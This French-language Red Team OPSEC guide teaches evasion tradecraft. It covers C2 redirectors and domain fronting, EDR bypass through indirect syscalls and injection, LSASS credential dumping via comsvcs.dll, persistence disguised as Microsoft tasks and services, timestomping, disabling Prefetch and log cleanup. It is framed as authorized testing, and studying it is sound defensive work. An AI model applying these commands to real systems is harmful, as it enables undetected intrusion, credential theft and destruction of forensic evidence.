Ce guide couvre les bonnes pratiques de sécurité opérationnelle (OPSEC) pour les opérations Red Team, permettant de rester discret et d'éviter la détection.
Durée estimée : 30 minutes
Usage Éthique
Ces techniques sont destinées aux tests d'intrusion autorisés.
L'objectif est de simuler des adversaires réalistes pour améliorer les défenses.
Vue d'Ensemble - OPSEC Lifecycle
flowchart LR
subgraph plan["Planification"]
P1[Threat Model]
P2[Infrastructure]
P3[Tooling]
end
subgraph execute["Exécution"]
E1[Initial Access]
E2[Persistence]
E3[Actions]
end
subgraph maintain["Maintenance"]
M1[Monitor Logs]
M2[Rotate Infra]
M3[Clean Artifacts]
end
subgraph exit["Sortie"]
X1[Remove Implants]
X2[Delete Traces]
X3[Document]
end
plan --> execute --> maintain --> exit
style P1 fill:#3498db,color:#fff
style E1 fill:#9b59b6,color:#fff
style M1 fill:#e67e22,color:#fff
style X1 fill:#27ae60,color:#fff
flowchart TB
subgraph internet["Internet"]
OP[Opérateur]
end
subgraph redirectors["Redirecteurs"]
R1[CDN/CloudFront]
R2[Redirector 1]
R3[Redirector 2]
end
subgraph c2["C2 Backend"]
C2[Teamserver]
end
subgraph target["Cible"]
T[Implant]
end
OP --> C2
T --> R1 & R2 & R3
R1 & R2 & R3 --> C2
style C2 fill:#e74c3c,color:#fff
style R1 fill:#3498db,color:#fff
2.2 Redirecteurs
# Redirecteur simple avec socatsocatTCP4-LISTEN:443,forkTCP4:c2-server.internal:443
# Redirecteur avec Apache mod_rewrite<VirtualHost*:443>
ServerNamecdn-static.example.com
RewriteEngineOn
# Autoriser uniquement les User-Agents attendusRewriteCond%{HTTP_USER_AGENT}"^Mozilla/5.0.*Windows NT"[NC]RewriteRule^(.*)$https://c2-internal.example.com$1[P]# Sinon, rediriger vers un site légitimeRewriteRule^(.*)$https://microsoft.com[R=302,L]</VirtualHost>
2.3 Domain Fronting / CDN
# CloudFront comme redirecteur# Créer une distribution CloudFront pointant vers le C2# L'implant contacte une URL CloudFront légitime# Le header Host redirige vers le C2# Beacon confighttp-config{setheaders"Host: legit-cdn.cloudfront.net";seturi"/api/v1/update";}
2.4 Rotation d'Infrastructure
# Planifier la rotation des redirecteurs# - Changer les IP tous les X jours# - Avoir des domaines de backup# - Ne pas réutiliser d'infrastructure compromise# Terraform pour infrastructure éphémèreterraformapply-var="domain=backup-cdn.example.com"# Après compromission ou détectionterraformdestroy
3. Implants & Payloads
3.1 Choix du C2
C2
OPSEC Level
Notes
Cobalt Strike
Élevé
Très signé, requiert customisation
Sliver
Moyen-Élevé
Open source, moins signé
Havoc
Moyen
Nouveau, moins connu
Brute Ratel
Élevé
Conçu pour l'évasion
Custom
Variable
Dépend de l'implémentation
3.2 Génération de Payloads
# NE PAS FAIRE# - Générer des payloads sur le serveur de production# - Utiliser les payloads par défaut# - Uploader sur VirusTotal# BONNES PRATIQUES# - VM dédiée à la génération# - Modifier les signatures# - Tester sur des VM similaires à la cible# - Utiliser des packers/crypters custom
3.3 Sleep Obfuscation
// Technique pour masquer l'implant en mémoire pendant le sleep// Stack/Heap encryption pendant les périodes d'inactivité// Ekko technique (Cobalt Strike 4.7+)// Foliage technique// Gargoyle technique// Configuration Slivergeneratebeacon--seconds60--jitter30--oswindows
3.4 Indirect Syscalls
// Éviter les hooks EDR sur ntdll.dll// Appeler directement le noyau// Techniques:// - Hell's Gate (runtime syscall resolution)// - Halo's Gate (si hooks détectés)// - Tartarus' Gate (32-bit)// - SysWhispers2/3 (génération de stubs)
4. Exécution & Mouvement
4.1 Process Injection OPSEC
Technique
OPSEC Level
Raison
CreateRemoteThread
Bas
Très surveillé
QueueUserAPC
Moyen
Moins commun
SetThreadContext
Moyen
Moins surveillé
Thread Hijacking
Élevé
Discret
Module Stomping
Élevé
Pas de mémoire RWX
Process Hollowing
Moyen
Détectable par scan mémoire
4.2 Choix du Process Cible
# MAUVAIS choix (suspects)# - notepad.exe lancé par SYSTEM# - rundll32.exe sans arguments# - Processus avec connexions réseau inhabituelles# BONS choix (blending)# - Services légitimes faisant des connexions HTTP# - Browser (si l'utilisateur en a un)# - OneDrive, Teams (trafic vers Microsoft attendu)# Vérifier les processus légitimesGet-Process|Where-Object{$_.Path-like"*Microsoft*"}|Select-ObjectName,Path
4.3 PPID Spoofing
// Faire croire que le processus a un parent légitime// explorer.exe -> chrome.exe (normal)// svchost.exe -> malware.exe (suspect!)// svchost.exe (spoofed) -> malware.exe (moins suspect)// Utiliser CreateProcess avec PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
4.4 Lateral Movement OPSEC
Technique
Artefacts
Recommandation
PsExec
Service créé, Event 7045
Éviter, très signé
WMI
Event 5857, 5858, 5861
Acceptable
WinRM
Event 4656, 6
Bon si WinRM utilisé
DCOM
Variable
Discret si peu surveillé
RDP
Event 4624 Type 10
Visible, mais attendu
SMB + Beacon
Event 5140, 5145
Préférable
# Préférer les méthodes native de l'environnement# Si SCCM est utilisé -> SCCM pour déployer# Si WinRM est courant -> WinRM# Si RDP est normal -> RDP avec credentials valides
5. Credential Access OPSEC
5.1 Éviter le Dump LSASS Direct
# TRÈS BRUYANTmimikatz.exesekurlsa::logonpasswords# Signé par tous les EDR# MOINS BRUYANT# - comsvcs.dll MiniDump (built-in Windows)rundll32.exeC:\windows\System32\comsvcs.dll,MiniDump[LSASS_PID]dump.binfull# - Dump depuis un process légitime# - Utiliser des BOFs au lieu d'outils sur disque# - Remote LSASS dump via handles
5.2 Alternatives au Dump Mémoire
# DCSync (si droits suffisants) - moins de traces locales# Attention: Event 4662 avec DS-Replication-Get-Changes# DPAPI - Décrypter les secrets Chrome/credentials# Pas de touch sur LSASS# Kerberoasting - TGS requests normales# Attention: Event 4769 avec RC4# Tokens - Pas de dump mémoire# Impersonate token existant
5.3 In-Memory Only
# Ne JAMAIS écrire d'outils sur disque# Charger en mémoire via:# - Reflective DLL loading# - .NET Assembly.Load# - BOF (Beacon Object Files)# - PowerShell Invoke-Expression# Sliversliver>execute-assembly/path/to/Rubeus.exekerberoast# Cobalt Strikebeacon>execute-assembly/path/to/Seatbelt.exe-group=all
6. Persistence OPSEC
6.1 Persistence Discrète
Technique
Visibilité
Survie Reboot
Notes
Scheduled Task
Event 4698
Oui
Nom crédible requis
Registry Run
Event 13 (Sysmon)
Oui
Facile à détecter
Service
Event 7045
Oui
Très surveillé
WMI Subscription
Event 5861
Oui
Discret
COM Hijack
Minimal
Oui
Très discret
DLL Side-loading
Minimal
Oui
Excellente OPSEC
Golden Ticket
Event 4769
Non (mémoire)
Très puissant
6.2 Nommer les Artefacts
# MAUVAISschtasks/create/tn"Backdoor"/tr"C:\temp\shell.exe"...New-Service-Name"Malware"-BinaryPathName"C:\evil.exe"# BON - Se fondre dans l'environnementschtasks/create/tn"Microsoft\Windows\WindowsUpdate\AU Scheduled Install"/tr"..."New-Service-Name"WindowsManagementServiceHost"-DisplayName"Windows Management Service Host"...# Vérifier les noms existants pour s'inspirerGet-ScheduledTask|Select-ObjectTaskName,TaskPath|Where-Object{$_.TaskPath-like"*Microsoft*"}Get-Service|Select-ObjectName,DisplayName|Where-Object{$_.Name-like"*Windows*"}
6.3 Placement des Fichiers
# MAUVAISC:\temp\payload.exeC:\Users\Public\shell.exeC:\ProgramData\evil.dll# BONC:\Windows\System32\drivers\[nom_crédible].sysC:\ProgramFiles\CommonFiles\MicrosoftShared\[nom_app]\helper.dllC:\Users\[user]\AppData\Local\Microsoft\[app]\update.exe# Même timestamps que les fichiers voisins(Get-Itemlegitimate.exe).LastWriteTime=(Get-Item$Env:SystemRoot\System32\kernel32.dll).LastWriteTime
# NE PAS FAIRE# Beacon toutes les 5 secondes exactement -> Pattern évident# BONNES PRATIQUES# Sleep de 60s avec 50% de jitter = 30-90s randomsliver>generatebeacon--seconds60--jitter50# Working hours only (plus réaliste)# Configurer le beacon pour être actif 9h-18h
7.3 Exfiltration
# PETIT VOLUME - Via C2# Fichiers < 1MB, encodés en base64# MOYEN VOLUME - Cloud légitime# Utiliser OneDrive/SharePoint/Google Drive de la cible# Trafic attendu vers ces services# GRAND VOLUME - Staging# Compresser, chiffrer, découper# Exfiltrer pendant les heures de travail# Utiliser plusieurs canaux
8. Anti-Forensics
8.1 Minimiser les Artefacts
# Désactiver le Prefetch temporairement (requiert admin)regadd"HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters"/vEnablePrefetcher/tREG_DWORD/d0/f# Exécuter depuis des emplacements non indexés# C:\Windows\Temp\ n'est pas dans l'index de recherche# Éviter de toucher le disque# PowerShell in-memory, .NET reflection, BOFs
8.2 Nettoyage
# PENDANT l'opération# - Supprimer les fichiers uploadés après usage# - Clear les event logs sélectivement (risqué, peut alerter)# - Timestomp les fichiers créés# À LA FIN# - Retirer tous les implants# - Supprimer les scheduled tasks# - Retirer les services créés# - Documenter ce qui n'a pas pu être nettoyé# Script de nettoyageRemove-Item"C:\Windows\Temp\payload.exe"-ForceUnregister-ScheduledTask-TaskName"WindowsUpdateCheck"-Confirm:$false
8.3 Ce qu'on ne peut pas effacer
# Attention - Ces artefacts persistent:
# - USN Journal (peut être analysé offline)
# - Volume Shadow Copies
# - $MFT entries (marquées deleted mais présentes)
# - Event logs forwardés vers un SIEM
# - EDR cloud telemetry
# - Network captures